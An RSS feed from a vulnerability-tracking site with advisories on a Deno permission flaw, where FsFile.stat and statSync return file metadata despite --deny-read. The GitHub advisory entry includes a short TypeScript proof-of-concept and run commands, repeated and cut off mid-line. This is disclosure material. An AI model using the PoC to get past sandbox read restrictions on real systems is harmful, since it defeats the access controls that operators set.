<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 21:41:15 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-254458</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-254458</link>
      <description>EUVD-2026-254458</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-254458</guid>
    </item>
    <item>
      <title>fkie_cve-2025-61786</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-61786</link>
      <description>&lt;p&gt;Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It&amp;#39;s possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it&amp;#39;s still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It&amp;#39;s possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it&amp;#39;s still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-61786</guid>
    </item>
    <item>
      <title>GHSA-qq26-84mh-26j9 — Deno's --deny-read check does not prevent permission bypass</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-qq26-84mh-26j9</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: deno&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.&lt;/p&gt;
&lt;p&gt;It&amp;#39;s possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)&lt;/p&gt;
&lt;p&gt;Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it&amp;#39;s still possible to retrieve file stats, and thus bypass the permission model.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Setup:
```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3&lt;/p&gt;
&lt;p&gt;touch test1.txt
```&lt;/p&gt;
&lt;p&gt;- `poc_file.stat.ts`
```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open(&amp;#34;./test1.txt&amp;#34;, { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}&lt;/p&gt;
&lt;p&gt;// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync(&amp;#34;./test1.txt&amp;#34;, { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}&lt;/p&gt;
&lt;p&gt;// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --de…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: deno&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.&lt;/p&gt;
&lt;p&gt;It&amp;#39;s possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)&lt;/p&gt;
&lt;p&gt;Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it&amp;#39;s still possible to retrieve file stats, and thus bypass the permission model.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Setup:
```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3&lt;/p&gt;
&lt;p&gt;touch test1.txt
```&lt;/p&gt;
&lt;p&gt;- `poc_file.stat.ts`
```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open(&amp;#34;./test1.txt&amp;#34;, { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}&lt;/p&gt;
&lt;p&gt;// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync(&amp;#34;./test1.txt&amp;#34;, { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}&lt;/p&gt;
&lt;p&gt;// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --de…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-qq26-84mh-26j9</guid>
    </item>
  </channel>
</rss>
